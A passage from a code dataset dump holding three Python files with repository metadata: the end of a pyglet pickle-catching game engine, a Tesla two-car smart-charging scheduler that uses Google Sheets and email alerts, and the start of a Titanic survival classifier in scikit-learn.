pyglet.clock.unschedule(self.speed_up)\n self.state['things'] = []\n self.state['explode'] = []\n self.state['score'] = 0\n self.state['lives'] = 3\n self.state['add_thing_interval'] = 1.0\n self.state['pickle_probability'] = 1\n self.cursor.set_position(self.window.width/2)\n self.add_thing()\n pyglet.clock.schedule_interval(self.update, 1/60.0)\n pyglet.clock.schedule_interval(self.speed_up, 10)\n\n def change_mode(self, mode):\n self.state['mode'] = mode\n if mode == 'title':\n self.window.set_mouse_visible(True)\n self.window.set_exclusive_mouse(False)\n elif mode == 'game':\n self.window.set_mouse_visible(False)\n self.window.set_exclusive_mouse(True)\n self.init_game()\n elif mode == 'lose':\n pyglet.clock.unschedule(self.add_thing)\n self.bg.mode = 'normal'\n self.splat.y = 0\n self.splat.opacity = 255\n self.final_score_label.text = 'You filled {0} jar{1}!'.format(\n self.state['score']/10, 's' if self.state['score']/10 > 1\n else '')\n self.window.set_mouse_visible(True)\n self.window.set_exclusive_mouse(False)\n self.state['things'] = [Jar(self, batch=self.full_jars) for i in\n range(self.state['score']/10)]\n\n def toggle_pause(self):\n self.state['paused'] = True\n\n def add_thing(self, dt=None):\n self.state['things'].append(pick_thing(self))\n pyglet.clock.schedule_once(self.add_thing,\n random.random() * self.state['add_thing_interval'] * 1.5 +\n self.state['add_thing_interval'])\n\n def speed_up(self, dt):\n self.state['add_thing_interval'] *= 0.95\n self.state['pickle_probability'] = max(self.state['pickle_probability']\n * 0.9, 0.2)\n\n def update(self, dt):\n if self.state['mode'] == 'game':\n for thing in self.state['things']:\n thing.update(dt)\n for i in range(len(self.hearts)):\n if self.state['lives'] > i:\n self.hearts[i].opacity = 255\n else:\n self.hearts[i].opacity = 0\n self.bg.update(dt)\n self.cursor.update(dt)\n self.score_label.text = str(self.state['score']/10)\n elif self.state['mode'] == 'lose':\n for thing in self.state['things']:\n thing.update(dt)\n if self.splat.opacity > 0:\n self.splat.y -= 100 * dt\n self.splat.opacity = max(0, self.splat.opacity - 255 * dt)\n", "repo_name": "grampajoe/pickle-python", "sub_path": "engine.py", "file_name": "engine.py", "file_ext": "py", "file_size_in_byte": 6226, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 1, "dataset": "github-code", "pt": "78", "api": [{"api_name": "pyglet.graphics.Batch", "line_number": 13, "usage_type": "call"}, {"api_name": "pyglet.graphics", "line_number": 13, "usage_type": "attribute"}, {"api_name": "pyglet.graphics.Batch", "line_number": 14, "usage_type": "call"}, {"api_name": "pyglet.graphics", "line_number": 14, "usage_type": "attribute"}, {"api_name": "pyglet.graphics.OrderedGroup", "line_number": 15, "usage_type": "call"}, {"api_name": "pyglet.graphics", "line_number": 15, "usage_type": "attribute"}, {"api_name": "pyglet.graphics.OrderedGroup", "line_number": 16, "usage_type": "call"}, {"api_name": "pyglet.graphics", "line_number": 16, "usage_type": "attribute"}, {"api_name": "pyglet.graphics.OrderedGroup", "line_number": 17, "usage_type": "call"}, {"api_name": "pyglet.graphics", "line_number": 17, "usage_type": "attribute"}, {"api_name": "pyglet.graphics.OrderedGroup", "line_number": 18, "usage_type": "call"}, {"api_name": "pyglet.graphics", "line_number": 18, "usage_type": "attribute"}, {"api_name": "pyglet.sprite.Sprite", "line_number": 20, "usage_type": "call"}, {"api_name": "pyglet.sprite", "line_number": 20, "usage_type": "attribute"}, {"api_name": "pyglet.resource.image", "line_number": 20, "usage_type": "call"}, {"api_name": "pyglet.resource", "line_number": 20, "usage_type": "attribute"}, {"api_name": "pyglet.resource.add_font", "line_number": 25, "usage_type": "call"}, {"api_name": "pyglet.resource", "line_number": 25, "usage_type": "attribute"}, {"api_name": "pyglet.font.load", "line_number": 26, "usage_type": "call"}, {"api_name": "pyglet.font", "line_number": 26, "usage_type": "attribute"}, {"api_name": "pyglet.text.Label", "line_number": 28, "usage_type": "call"}, {"api_name": "pyglet.text", "line_number": 28, "usage_type": "attribute"}, {"api_name": "pyglet.text.Label", "line_number": 33, "usage_type": "call"}, {"api_name": "pyglet.text", "line_number": 33, "usage_type": "attribute"}, {"api_name": "pyglet.resource.image", "line_number": 37, "usage_type": "call"}, {"api_name": "pyglet.resource", "line_number": 37, "usage_type": "attribute"}, {"api_name": "pyglet.sprite.Sprite", "line_number": 41, "usage_type": "call"}, {"api_name": "pyglet.sprite", "line_number": 41, "usage_type": "attribute"}, {"api_name": "pyglet.text.Label", "line_number": 47, "usage_type": "call"}, {"api_name": "pyglet.text", "line_number": 47, "usage_type": "attribute"}, {"api_name": "pyglet.resource.image", "line_number": 51, "usage_type": "call"}, {"api_name": "pyglet.resource", "line_number": 51, "usage_type": "attribute"}, {"api_name": "pyglet.resource.image", "line_number": 54, "usage_type": "call"}, {"api_name": "pyglet.resource", "line_number": 54, "usage_type": "attribute"}, {"api_name": "pyglet.sprite.Sprite", "line_number": 55, "usage_type": "call"}, {"api_name": "pyglet.sprite", "line_number": 55, "usage_type": "attribute"}, {"api_name": "background.Background", "line_number": 57, "usage_type": "call"}, {"api_name": "cursor.Cursor", "line_number": 58, "usage_type": "call"}, {"api_name": "pyglet.window", "line_number": 91, "usage_type": "attribute"}, {"api_name": "pyglet.clock.unschedule", "line_number": 97, "usage_type": "call"}, {"api_name": "pyglet.clock", "line_number": 97, "usage_type": "attribute"}, {"api_name": "pyglet.clock.unschedule", "line_number": 98, "usage_type": "call"}, {"api_name": "pyglet.clock", "line_number": 98, "usage_type": "attribute"}, {"api_name": "pyglet.clock.schedule_interval", "line_number": 107, "usage_type": "call"}, {"api_name": "pyglet.clock", "line_number": 107, "usage_type": "attribute"}, {"api_name": "pyglet.clock.schedule_interval", "line_number": 108, "usage_type": "call"}, {"api_name": "pyglet.clock", "line_number": 108, "usage_type": "attribute"}, {"api_name": "pyglet.clock.unschedule", "line_number": 120, "usage_type": "call"}, {"api_name": "pyglet.clock", "line_number": 120, "usage_type": "attribute"}, {"api_name": "things.Jar", "line_number": 129, "usage_type": "call"}, {"api_name": "things.pick_thing", "line_number": 136, "usage_type": "call"}, {"api_name": "pyglet.clock.schedule_once", "line_number": 137, "usage_type": "call"}, {"api_name": "pyglet.clock", "line_number": 137, "usage_type": "attribute"}, {"api_name": "random.random", "line_number": 138, "usage_type": "call"}]} {"seq_id": "71803834811", "text": "import time\n\nfrom TeslaVehicleAPI import getVehicleData, wakeVehicle, setScheduledCharging, stopChargeVehicle\nfrom GoogleAPI import getGoogleSheetService\nfrom SendEmail import sendEmail\nfrom SmartClimate import setM3Precondition, setMXPrecondition\nfrom Utilities import isVehicleAtPrimary, isVehicleAtSecondary, getTomorrowTime,getConfig\nfrom Logger import logError\nfrom datetime import timedelta\nfrom collections import namedtuple\n\nconfig = getConfig()\nM3_VIN = config['vehicle']['m3_vin']\nMX_VIN = config['vehicle']['mx_vin']\nEV_SPREADSHEET_ID = config['google']['ev_spreadsheet_id']\nEMAIL_1 = config['notification']['email_1']\nEMAIL_2 = config['notification']['email_2']\n\nMX_FULL_CHARGE_RATE_AT_PRIMARY = 25 # (mi/hr)\nM3_FULL_CHARGE_RATE_AT_PRIMARY = 37 # (mi/hr)\nMX_FULL_CHARGE_RATE_AT_SECONDARY = 20 # (mi/hr)\nM3_FULL_CHARGE_RATE_AT_SECONDARY = 30 # (mi/hr)\nWAIT_TIME = 30 \n\n\n##\n# Called by a crontab to read vehicle range and expected charge \n# finish time from a Google Sheet, then call the API to set a time \n# for scheduled charging in the vehicle.\n#\n# author: mjhwa@yahoo.com\n##\ndef scheduleM3Charging(m3_data, mx_data, m3_target_finish_time, mx_target_finish_time): \n try:\n if (m3_data['response']['charge_state']['charging_state'] != 'Complete'):\n # get calculated start time depending on location of cars\n if ((isVehicleAtPrimary(m3_data) == True) and\n (isVehicleAtPrimary(mx_data) == True)):\n start_time = calculateScheduledCharging('m3_primary_shared_charging', \n m3_data, \n mx_data, \n m3_target_finish_time, \n mx_target_finish_time)\n elif ((isVehicleAtPrimary(m3_data) == True) and \n (isVehicleAtPrimary(mx_data) == False)):\n start_time = calculateScheduledCharging('m3_primary_full_rate', \n m3_data, \n mx_data, \n m3_target_finish_time, \n mx_target_finish_time)\n elif (isVehicleAtSecondary(m3_data)):\n start_time = calculateScheduledCharging('m3_secondary_full_rate', \n m3_data, \n mx_data, \n m3_target_finish_time, \n mx_target_finish_time)\n else:\n return\n\n total_minutes = (start_time.hour * 60) + start_time.minute\n\n setScheduledCharging(M3_VIN, total_minutes)\n stopChargeVehicle(M3_VIN) # for some reason charging starts sometimes after scheduled charging API is called\n\n # send email notification\n message = ('The Model 3 is set to charge at ' \n + str(start_time)\n + '.')\n sendEmail(EMAIL_1, 'Model 3 Set to Charge', message, '', '')\n except Exception as e:\n logError('scheduleM3Charging(): ' + str(e))\n\n\ndef scheduleMXCharging(m3_data, mx_data, m3_target_finish_time, mx_target_finish_time): \n try:\n if (mx_data['response']['charge_state']['charging_state'] != 'Complete'):\n # get calculated start time depending on location of cars\n if ((isVehicleAtPrimary(mx_data) == True) and \n (isVehicleAtPrimary(m3_data) == True)):\n start_time = calculateScheduledCharging('mx_primary_shared_charging', \n mx_data, \n m3_target_finish_time, \n mx_target_finish_time)\n elif ((isVehicleAtPrimary(mx_data) == True) and \n (isVehicleAtPrimary(m3_data) == False)):\n start_time = calculateScheduledCharging('mx_primary_full_rate', \n m3_data, \n mx_data, \n m3_target_finish_time, \n mx_target_finish_time)\n elif (isVehicleAtSecondary(mx_data)):\n start_time = calculateScheduledCharging('mx_secondary_full_rate', \n m3_data, \n mx_data, \n m3_target_finish_time, \n mx_target_finish_time)\n else:\n return\n\n total_minutes = (start_time.hour * 60) + start_time.minute\n\n setScheduledCharging(MX_VIN, total_minutes)\n stopChargeVehicle(MX_VIN) # for some reason charging starts sometimes after scheduled charging API is called\n\n # send email notification\n message = ('The Model X is set to charge at ' \n + str(start_time)\n + '.')\n sendEmail(EMAIL_1, 'Model X Set to Charge', message, '', '')\n except Exception as e:\n logError('scheduleMXCharging(): ' + str(e))\n\n\n##\n# Calculates the scheduled charging time for 2 vehicles depending\n# on their location, charge state, and finish time.\n#\n# author: mjhwa@yahoo.com\n##\ndef calculateScheduledCharging(scenario, m3_data, mx_data, m3_target_finish_time, mx_target_finish_time):\n try:\n # Calculate how many miles are needed for charging based on \n # current range and charging % target\n mx_current_range = mx_data['response']['charge_state']['battery_range']\n m3_current_range = m3_data['response']['charge_state']['battery_range']\n\n mx_max_range = ( mx_data['response']['charge_state']['battery_range'] \n / (mx_data['response']['charge_state']['battery_level'] / 100.0))\n m3_max_range = ( m3_data['response']['charge_state']['battery_range'] \n / (m3_data['response']['charge_state']['battery_level'] / 100.0))\n\n mx_charge_limit = mx_data['response']['charge_state']['charge_limit_soc'] / 100.0\n m3_charge_limit = m3_data['response']['charge_state']['charge_limit_soc'] / 100.0\n\n mx_target_range = mx_max_range * mx_charge_limit\n m3_target_range = m3_max_range * m3_charge_limit\n\n mx_miles_needed = 0\n if (mx_target_range - mx_current_range) > 0: mx_miles_needed = mx_target_range - mx_current_range\n m3_miles_needed = 0\n if (m3_target_range - m3_current_range) > 0: m3_miles_needed = m3_target_range - m3_current_range\n\n # Calculate scheduled charging time based on location of cars\n if ((scenario == 'mx_primary_shared_charging') or (scenario == 'm3_primary_shared_charging')):\n mx_charging_time_at_full_rate = mx_miles_needed / MX_FULL_CHARGE_RATE_AT_PRIMARY # hours\n m3_charging_time_at_full_rate = m3_miles_needed / M3_FULL_CHARGE_RATE_AT_PRIMARY # hours\n\n mx_start_time_at_full_rate = mx_target_finish_time - timedelta(hours = mx_charging_time_at_full_rate)\n m3_start_time_at_full_rate = m3_target_finish_time - timedelta(hours = m3_charging_time_at_full_rate)\n\n # Determine if there is a charging time overlap\n Range = namedtuple('Range', ['start', 'end'])\n r1 = Range(start = mx_start_time_at_full_rate, end = mx_target_finish_time)\n r2 = Range(start = m3_start_time_at_full_rate, end = m3_target_finish_time)\n latest_start = max(r1.start, r2.start)\n earliest_end = min(r1.end, r2.end)\n delta = (earliest_end - latest_start).total_seconds()\n overlap = max(0, delta)\n\n # 1. Charging times don't overlap\n #\n # Charging at full rate | 10:00\n # Car 1 |===========================|\n # Car 2 |======================|\n # Charging at full rate | 7:00\n if (overlap <= 0):\n if (scenario == 'm3_primary_shared_charging'): \n return m3_start_time_at_full_rate\n\n if (scenario == 'mx_primary_shared_charging'): \n return mx_start_time_at_full_rate\n \n else:\n # 2a. Charging times overlap, fully with different finish times\n #\n # Charging at \n # full rate Charging at full rate | 10:00\n # Car 1 |============|==============|==========================|\n # Car 2 |==============|\n # Charging at half rate | 7:00\n if ((mx_target_finish_time != m3_target_finish_time) and (\n ((mx_start_time_at_full_rate < m3_start_time_at_full_rate) and (mx_target_finish_time > m3_target_finish_time)) or\n ((m3_start_time_at_full_rate < mx_start_time_at_full_rate) and (m3_target_finish_time > mx_target_finish_time))\n )\n ):\n # Find the longer session\n if (mx_target_finish_time - mx_start_time_at_full_rate).total_seconds() > (m3_target_finish_time - m3_start_time_at_full_rate).total_seconds():\n # Car 2\n m3_charging_time_at_half_rate = m3_miles_needed / (M3_FULL_CHARGE_RATE_AT_PRIMARY / 2)\n m3_start_time = m3_target_finish_time - timedelta(hours = m3_charging_time_at_half_rate)\n\n # Car 1\n mx_miles_added_at_full_rate = (mx_target_finish_time - m3_target_finish_time).total_seconds() / 60 / 60 * MX_FULL_CHARGE_RATE_AT_PRIMARY\n mx_miles_added_at_half_rate = m3_charging_time_at_half_rate * (MX_FULL_CHARGE_RATE_AT_PRIMARY / 2)\n mx_miles_remaining = mx_miles_needed - mx_miles_added_at_full_rate - mx_miles_added_at_half_rate\n mx_start_time = (mx_target_finish_time \n - timedelta(hours = mx_miles_added_at_full_rate / MX_FULL_CHARGE_RATE_AT_PRIMARY)\n - timedelta(hours = mx_miles_added_at_half_rate / (MX_FULL_CHARGE_RATE_AT_PRIMARY / 2))\n - timedelta(hours = mx_miles_remaining / MX_FULL_CHARGE_RATE_AT_PRIMARY)\n )\n\n else:\n # Car 2\n mx_charging_time_at_half_rate = mx_miles_needed / (MX_FULL_CHARGE_RATE_AT_PRIMARY / 2)\n mx_start_time = mx_target_finish_time - timedelta(hours = mx_charging_time_at_half_rate)\n\n # Car 1\n m3_miles_added_at_full_rate = (m3_target_finish_time - mx_target_finish_time).total_seconds() / 60 / 60 * M3_FULL_CHARGE_RATE_AT_PRIMARY\n m3_miles_added_at_half_rate = mx_charging_time_at_half_rate * (M3_FULL_CHARGE_RATE_AT_PRIMARY / 2)\n m3_miles_remaining = m3_miles_needed - m3_miles_added_at_full_rate - m3_miles_added_at_half_rate\n m3_start_time = (m3_target_finish_time \n - timedelta(hours = m3_miles_added_at_full_rate / M3_FULL_CHARGE_RATE_AT_PRIMARY)\n - timedelta(hours = m3_miles_added_at_half_rate / (M3_FULL_CHARGE_RATE_AT_PRIMARY / 2))\n - timedelta(hours = m3_miles_remaining / M3_FULL_CHARGE_RATE_AT_PRIMARY)\n )\n\n # 2b. Charging times overlap, partially\n #\n # Charging at full rate | 10:00\n # Car 1 |=======|=========================|\n # Car 2 |====================|=======|\n # Charging at full | 7:00\n # rate Charging at \n # half rate\n elif (mx_target_finish_time > m3_target_finish_time):\n # Car 1\n mx_miles_added_at_full_rate = ((mx_target_finish_time - m3_target_finish_time).total_seconds() \n / 60 / 60 \n * MX_FULL_CHARGE_RATE_AT_PRIMARY)\n mx_miles_remaining = mx_miles_needed - mx_miles_added_at_full_rate\n mx_charging_time_at_half_rate = mx_miles_remaining / (MX_FULL_CHARGE_RATE_AT_PRIMARY / 2) # hours\n mx_start_time = m3_target_finish_time - timedelta(hours = mx_charging_time_at_half_rate)\n\n # Car 2\n m3_miles_added_at_half_rate = ((m3_target_finish_time - mx_start_time).total_seconds()\n / 60 / 60 \n * (M3_FULL_CHARGE_RATE_AT_PRIMARY / 2))\n m3_miles_remaining = m3_miles_needed - m3_miles_added_at_half_rate\n m3_charging_time_at_full_rate = m3_miles_remaining / M3_FULL_CHARGE_RATE_AT_PRIMARY # hours\n m3_start_time = mx_start_time - timedelta(hours = m3_charging_time_at_full_rate)\n\n elif (mx_target_finish_time < m3_target_finish_time):\n # Car 1\n m3_miles_added_at_full_rate = ((m3_target_finish_time - mx_target_finish_time).total_seconds() \n / 60 / 60 \n * M3_FULL_CHARGE_RATE_AT_PRIMARY)\n m3_miles_remaining = m3_miles_needed - m3_miles_added_at_full_rate\n m3_charging_time_at_half_rate = m3_miles_remaining / (M3_FULL_CHARGE_RATE_AT_PRIMARY / 2) # hours\n m3_start_time = mx_target_finish_time - timedelta(hours = m3_charging_time_at_half_rate)\n\n # Car 2\n mx_miles_added_at_half_rate = ((mx_target_finish_time - m3_start_time).total_seconds()\n / 60 / 60 \n * (MX_FULL_CHARGE_RATE_AT_PRIMARY / 2))\n mx_miles_remaining = mx_miles_needed - mx_miles_added_at_half_rate\n mx_charging_time_at_full_rate = mx_miles_remaining / MX_FULL_CHARGE_RATE_AT_PRIMARY # hours\n mx_start_time = m3_start_time - timedelta(hours = mx_charging_time_at_full_rate)\n \n # 2c. Charging times overlap, fully with the same finish times\n # \n # For the longer/earlier start time, calculate the start time based on a part of \n # the charging session being at half rate and another part at full rate. The session \n # will charge at half rate when the other car begins charging but the difference in \n # miles/charge that starts before the other car will be at full rate.\n #\n # Charging at half rate | 07:00\n # Car 1 |===========================|\n # Car 2 |======================|===========================|\n # Charging at full rate \n elif (mx_target_finish_time == m3_target_finish_time):\n mx_charging_time_at_half_rate = mx_miles_needed / (MX_FULL_CHARGE_RATE_AT_PRIMARY / 2) # hours\n m3_charging_time_at_half_rate = m3_miles_needed / (M3_FULL_CHARGE_RATE_AT_PRIMARY / 2) # hours\n\n mx_start_time_at_half_rate = mx_target_finish_time - timedelta(hours = mx_charging_time_at_half_rate)\n m3_start_time_at_half_rate = m3_target_finish_time - timedelta(hours = m3_charging_time_at_half_rate)\n\n if (mx_start_time_at_half_rate < m3_start_time_at_half_rate):\n # Car 1 (The shorter/later start time will charge at half rate the entire session)\n m3_start_time = m3_start_time_at_half_rate\n\n # Car 2\n mx_miles_added_at_half_rate = ((mx_target_finish_time - m3_start_time_at_half_rate).total_seconds() \n / 60 / 60 \n * (MX_FULL_CHARGE_RATE_AT_PRIMARY / 2))\n mx_miles_remaining = mx_miles_needed - mx_miles_added_at_half_rate\n mx_miles_remaining_charging_time_at_full_rate = mx_miles_remaining / MX_FULL_CHARGE_RATE_AT_PRIMARY\n mx_start_time = m3_start_time_at_half_rate - timedelta(hours = mx_miles_remaining_charging_time_at_full_rate)\n else:\n # Car 1 (The shorter/later start time will charge at half rate the entire session)\n mx_start_time = mx_start_time_at_half_rate\n\n # Car 2\n m3_miles_added_at_half_rate = ((m3_target_finish_time - mx_start_time_at_half_rate).total_seconds() \n / 60 / 60 \n * (M3_FULL_CHARGE_RATE_AT_PRIMARY / 2))\n m3_miles_remaining = m3_miles_needed - m3_miles_added_at_half_rate\n m3_miles_remaining_charging_time_at_full_rate = m3_miles_remaining / M3_FULL_CHARGE_RATE_AT_PRIMARY\n m3_start_time = mx_start_time_at_half_rate - timedelta(hours = m3_miles_remaining_charging_time_at_full_rate)\n \n if (scenario == 'm3_primary_shared_charging'): \n return m3_start_time\n\n if (scenario == 'mx_primary_shared_charging'): \n return mx_start_time\n elif (scenario == 'mx_primary_full_rate'):\n mx_start_time = mx_target_finish_time - timedelta(hours = (mx_miles_needed / MX_FULL_CHARGE_RATE_AT_PRIMARY))\n \n return mx_start_time\n elif (scenario == 'm3_primary_full_rate'):\n m3_start_time = m3_target_finish_time - timedelta(hours = (m3_miles_needed / M3_FULL_CHARGE_RATE_AT_PRIMARY))\n \n return m3_start_time\n elif (scenario == 'mx_secondary_full_rate'):\n mx_start_time = mx_target_finish_time - timedelta(hours = (mx_miles_needed / MX_FULL_CHARGE_RATE_AT_SECONDARY))\n \n return mx_start_time\n elif (scenario == 'm3_secondary_full_rate'):\n m3_start_time = m3_target_finish_time - timedelta(hours = (m3_miles_needed / M3_FULL_CHARGE_RATE_AT_SECONDARY))\n\n return m3_start_time\n except Exception as e:\n print('calcuateScheduledCharging(' + scenario + '): ' + str(e))\n\n\n##\n# Checks to see if the vehicles are plugged in, inferred from the charge \n# port door status, and sends an email to notify if it's not. Also sets \n# scheduled charging time to start charging at the calculated date and time. \n# Skips if it's not within 0.25 miles from the primary location.\n#\n# If one of the other cars is in the secondary location, set time charge \n# start time based on the secondary charge rate and set the charge start \n# time for the one at the primary location to charge at full charge rate. \n#\n# author: mjhwa@yahoo.com\n##\ndef notifyIsTeslaPluggedIn():\n try:\n # get all vehicle data to avoid repeat API calls\n m3_data = getVehicleData(M3_VIN)\n mx_data = getVehicleData(MX_VIN)\n\n # get car info\n charge_port_door_open = m3_data['response']['charge_state']['charge_port_door_open']\n battery_level = m3_data['response']['charge_state']['battery_level']\n battery_range = m3_data['response']['charge_state']['battery_range']\n\n # get charging configuration info\n service = getGoogleSheetService()\n charge_config = service.spreadsheets().values().get(\n spreadsheetId=EV_SPREADSHEET_ID, \n range='Smart Charger!B3:B7'\n ).execute().get('values', [])\n\n # get climate configuration info\n climate_config = service.spreadsheets().values().get(\n spreadsheetId=EV_SPREADSHEET_ID, \n range='Smart Climate!B20:I24'\n ).execute().get('values', [])\n service.close()\n\n # check if email notification is set to \"on\" first \n if (charge_config[1][0] == 'on'):\n # send an email if the charge port door is not open, i.e. not plugged in\n if (charge_port_door_open == False):\n message = ('Your car is not plugged in. \\n\\nCurrent battery level is ' \n + str(battery_level) \n + '%, ' \n + str(battery_range) \n + ' estimated miles. \\n\\n-Your Model 3')\n sendEmail(EMAIL_1, 'Please Plug In Your Model 3', message, '', '')\n #print('send email: ' + message)\n\n charge_port_door_open = mx_data['response']['charge_state']['charge_port_door_open']\n battery_level = mx_data['response']['charge_state']['battery_level']\n battery_range = mx_data['response']['charge_state']['battery_range']\n\n # check if email notification is set to \"on\" first\n if (charge_config[0][0] == 'on'):\n # send an email if the charge port door is not open, i.e. not plugged in\n if (charge_port_door_open == False):\n message = ('Your car is not plugged in. \\n\\nCurrent battery level is '\n + str(battery_level) \n + '%, '\n + str(battery_range) \n + ' estimated miles. \\n\\n-Your Model X')\n sendEmail(EMAIL_2, \n 'Please Plug In Your Model X', \n message, EMAIL_1, '')\n #print('send email: ' + message)\n\n # set cars for scheduled charging\n m3_target_finish_time = getTomorrowTime(charge_config[4][0])\n mx_target_finish_time = getTomorrowTime(charge_config[3][0])\n\n scheduleM3Charging(m3_data, mx_data, m3_target_finish_time, mx_target_finish_time)\n scheduleMXCharging(m3_data, mx_data, m3_target_finish_time, mx_target_finish_time)\n\n # set cabin preconditioning the next morning\n setM3Precondition(m3_data, climate_config)\n setMXPrecondition(mx_data, climate_config)\n except Exception as e:\n logError('notifyIsTeslaPluggedIn(): ' + str(e))\n wakeVehicle(M3_VIN)\n wakeVehicle(MX_VIN)\n time.sleep(WAIT_TIME)\n notifyIsTeslaPluggedIn()\n\n\ndef main():\n notifyIsTeslaPluggedIn()\n\nif __name__ == \"__main__\":\n main()\n\n", "repo_name": "themonomers/tesla", "sub_path": "python/SmartCharger.py", "file_name": "SmartCharger.py", "file_ext": "py", "file_size_in_byte": 21105, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 24, "dataset": "github-code", "pt": "78", "api": [{"api_name": "Utilities.getConfig", "line_number": 12, "usage_type": "call"}, {"api_name": "Utilities.isVehicleAtPrimary", "line_number": 37, "usage_type": "call"}, {"api_name": "Utilities.isVehicleAtPrimary", "line_number": 38, "usage_type": "call"}, {"api_name": "Utilities.isVehicleAtPrimary", "line_number": 44, "usage_type": "call"}, {"api_name": "Utilities.isVehicleAtPrimary", "line_number": 45, "usage_type": "call"}, {"api_name": "Utilities.isVehicleAtSecondary", "line_number": 51, "usage_type": "call"}, {"api_name": "TeslaVehicleAPI.setScheduledCharging", "line_number": 62, "usage_type": "call"}, {"api_name": "TeslaVehicleAPI.stopChargeVehicle", "line_number": 63, "usage_type": "call"}, {"api_name": "SendEmail.sendEmail", "line_number": 69, "usage_type": "call"}, {"api_name": "Logger.logError", "line_number": 71, "usage_type": "call"}, {"api_name": "Utilities.isVehicleAtPrimary", "line_number": 78, "usage_type": "call"}, {"api_name": "Utilities.isVehicleAtPrimary", "line_number": 79, "usage_type": "call"}, {"api_name": "Utilities.isVehicleAtPrimary", "line_number": 84, "usage_type": "call"}, {"api_name": "Utilities.isVehicleAtPrimary", "line_number": 85, "usage_type": "call"}, {"api_name": "Utilities.isVehicleAtSecondary", "line_number": 91, "usage_type": "call"}, {"api_name": "TeslaVehicleAPI.setScheduledCharging", "line_number": 102, "usage_type": "call"}, {"api_name": "TeslaVehicleAPI.stopChargeVehicle", "line_number": 103, "usage_type": "call"}, {"api_name": "SendEmail.sendEmail", "line_number": 109, "usage_type": "call"}, {"api_name": "Logger.logError", "line_number": 111, "usage_type": "call"}, {"api_name": "datetime.timedelta", "line_number": 148, "usage_type": "call"}, {"api_name": "datetime.timedelta", "line_number": 149, "usage_type": "call"}, {"api_name": "collections.namedtuple", "line_number": 152, "usage_type": "call"}, {"api_name": "datetime.timedelta", "line_number": 190, "usage_type": "call"}, {"api_name": "datetime.timedelta", "line_number": 197, "usage_type": "call"}, {"api_name": "datetime.timedelta", "line_number": 198, "usage_type": "call"}, {"api_name": "datetime.timedelta", "line_number": 199, "usage_type": "call"}, {"api_name": "datetime.timedelta", "line_number": 205, "usage_type": "call"}, {"api_name": "datetime.timedelta", "line_number": 212, "usage_type": "call"}, {"api_name": "datetime.timedelta", "line_number": 213, "usage_type": "call"}, {"api_name": "datetime.timedelta", "line_number": 214, "usage_type": "call"}, {"api_name": "datetime.timedelta", "line_number": 232, "usage_type": "call"}, {"api_name": "datetime.timedelta", "line_number": 240, "usage_type": "call"}, {"api_name": "datetime.timedelta", "line_number": 249, "usage_type": "call"}, {"api_name": "datetime.timedelta", "line_number": 257, "usage_type": "call"}, {"api_name": "datetime.timedelta", "line_number": 274, "usage_type": "call"}, {"api_name": "datetime.timedelta", "line_number": 275, "usage_type": "call"}, {"api_name": "datetime.timedelta", "line_number": 287, "usage_type": "call"}, {"api_name": "datetime.timedelta", "line_number": 298, "usage_type": "call"}, {"api_name": "datetime.timedelta", "line_number": 306, "usage_type": "call"}, {"api_name": "datetime.timedelta", "line_number": 310, "usage_type": "call"}, {"api_name": "datetime.timedelta", "line_number": 314, "usage_type": "call"}, {"api_name": "datetime.timedelta", "line_number": 318, "usage_type": "call"}, {"api_name": "TeslaVehicleAPI.getVehicleData", "line_number": 340, "usage_type": "call"}, {"api_name": "TeslaVehicleAPI.getVehicleData", "line_number": 341, "usage_type": "call"}, {"api_name": "GoogleAPI.getGoogleSheetService", "line_number": 349, "usage_type": "call"}, {"api_name": "SendEmail.sendEmail", "line_number": 371, "usage_type": "call"}, {"api_name": "SendEmail.sendEmail", "line_number": 387, "usage_type": "call"}, {"api_name": "Utilities.getTomorrowTime", "line_number": 393, "usage_type": "call"}, {"api_name": "Utilities.getTomorrowTime", "line_number": 394, "usage_type": "call"}, {"api_name": "SmartClimate.setM3Precondition", "line_number": 400, "usage_type": "call"}, {"api_name": "SmartClimate.setMXPrecondition", "line_number": 401, "usage_type": "call"}, {"api_name": "Logger.logError", "line_number": 403, "usage_type": "call"}, {"api_name": "TeslaVehicleAPI.wakeVehicle", "line_number": 404, "usage_type": "call"}, {"api_name": "TeslaVehicleAPI.wakeVehicle", "line_number": 405, "usage_type": "call"}, {"api_name": "time.sleep", "line_number": 406, "usage_type": "call"}]} {"seq_id": "2573420071", "text": "import numpy as np\r\nimport pandas as pd\r\nfrom sklearn import linear_model, preprocessing, tree, model_selection\r\nfrom sklearn.ensemble import RandomForestClassifier\r\n\r\ntrain = pd.read_csv(\"train.csv\", delimiter=\",\")\r\ntest_X = pd.read_csv(\"test.csv\", delimiter=\",\")\r\ncheck_y = pd.read_csv(\"submission3.csv\", delimiter=\",\")\r\ncheck_y = check_y[\"Survived\"].values\r\n# test = pd.merge(test_y, test_X, on=\"PassengerId\")\r\n\r\ndef data_cleaner(df):\r\n df[\"Age\"] = df[\"Age\"].fillna(df[\"Age\"].dropna().median())\r\n df[\"Fare\"] = df[\"Fare\"].fillna(df[\"Fare\"].dropna().mean())\r\n\r\n df.loc[df[\"Sex\"] == \"male\", \"Sex\"] = 0\r\n df.loc[df[\"Sex\"] == \"female\", \"Sex\"] = 1\r\n\r\n df[\"Embarked\"] = df[\"Embarked\"].fillna(df[\"Embarked\"].dropna().mode()[0])\r\n df.loc[df[\"Embarked\"] == \"S\", \"Embarked\"] = 0\r\n df.loc[df[\"Embarked\"] == \"C\", \"Embarked\"] = 1\r\n df.loc[df[\"Embarked\"] == \"Q\", \"Embarked\"] = 2\r\n\r\ndata_cleaner(train)\r\ndata_cleaner(test_X)\r\n# print(train.count(), test_X.count())\r\n\r\ntrain_X = train[[\"Pclass\", \"Sex\", \"Age\", \"SibSp\", \"Parch\", \"Fare\", \"Embarked\"]].values\r\ntrain_y = train[\"Survived\"].values\r\npoly = preprocessing.PolynomialFeatures(degree=2)\r\npoly_train_X = poly.fit_transform(train_X)\r\ntest_X = test_X[[\"Pclass\", \"Sex\", \"Age\", \"SibSp\", \"Parch\", \"Fare\", \"Embarked\"]].values\r\npoly_test_X = poly.fit_transform(test_X)\r\n\r\ndef log_reg(train_X, poly_train_X, train_y, test_X, poly_test_X):\r\n clf1 = linear_model.LogisticRegression(max_iter=4000)\r\n fitted_clf1 = clf1.fit(train_X, train_y)\r\n\r\n clf2 = linear_model.LogisticRegression(max_iter=4000)\r\n fitted_clf2 = clf2.fit(poly_train_X, train_y)\r\n\r\n print(f\"[Linear]\\nTrain acc: {fitted_clf1.score(train_X, train_y)}\")\r\n 